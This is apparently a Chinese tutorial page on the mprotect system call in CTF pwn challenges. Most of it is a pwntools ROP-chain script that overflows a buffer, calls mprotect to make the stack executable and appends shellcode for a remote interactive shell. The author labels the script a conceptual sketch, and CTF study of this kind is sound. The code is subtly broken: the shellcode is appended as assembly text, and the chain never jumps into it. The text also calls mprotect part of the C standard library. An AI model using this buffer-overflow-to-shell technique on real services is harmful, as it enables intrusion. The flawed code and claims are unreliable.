pwn mprotect
时间: 2025-01-21 18:01:22 浏览: 36
关于 mprotect
函数的用法
在C标准库中,mprotect
是一个系统调用,允许改变内存保护属性。对于给定地址范围内的页面,该函数能够设置读、写或执行权限。这在处理动态加载代码或是修改现有代码段时非常有用[^1]。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
参数说明如下:
addr
: 起始地址,通常需要按页对齐。len
: 需要更改权限的字节数量。prot
: 新的访问权限标志,比如 PROT_READ | PROT_WRITE 或者加上PROT_EXEC 表示可执行。
当涉及到安全挑战特别是CTF比赛里的PWN题目时,如果二进制文件是以静态方式编译链接,则其中必然存在此API实现。
利用技巧实例展示
假设有一个简单的缓冲区溢出漏洞存在于某个服务端应用之中,并且目标机器上的ASLR(Address Space Layout Randomization)已经被禁用了。此时可以通过覆盖返回指针指向一段自定义shellcode的位置前先调整其所在区域为RWX模式以便成功触发远程命令执行。
具体操作流程如下所示:
- 找到合适的gadget链来调用
mprotect()
使堆栈成为可执行状态; - 构造payload将上述找到的第一个gadget地址作为新的EIP/RIP值;
- 后续跟随必要的参数传递以及最终想要运行的有效载荷(shellcode);
这里给出一个简化版的例子用来解释概念而非实际可用的exploit:
from pwn import *
# 假设已知的信息
binary_base_addr = 0x400000 # 可执行文件基址
stack_start = 0x7ffffffde000 # 栈起始位置
size = 0x1000 # 修改一页大小
new_perms = 0x7 # rwx 权限
pop_rdi_ret_gadget= binary_base_addr + offset_to_poprdi # pop rdi; ret;
pop_rsi_ret_gadget= binary_base_addr + offset_to_poprsi # pop rsi; ret;
pop_rdx_ret_gadget= binary_base_addr + offset_to_poprdx # pop rdx; ret;
# 连接至远端服务器并发送Payload
conn = remote('target', port)
payload = b'A'*(offset_to_return_address)
payload += p64(pop_rdi_ret_gadget) # 设置第一个参数 addr
payload += p64(stack_start)
payload += p64(pop_rsi_ret_gadget) # 设置第二个参数 length
payload += p64(size)
payload += p64(pop_rdx_ret_gadget) # 设置第三个参数 protection flags
payload += p64(new_perms)
payload += p64(binary_base_addr+mprotect_offset_from_plt) # 调用mprotect()
payload += shellcraft.sh() # 插入shellcode
conn.sendline(payload)
conn.interactive()
这段Python脚本使用pwntools框架构建了一个针对特定条件下的攻击向量。它首先填充足够的字符直到覆盖掉返回地址,接着依次放置几个ROP gadgets以准备调用mprotect()
所需的三个实参,最后附加了一条创建交互式shell的指令序列。
相关推荐














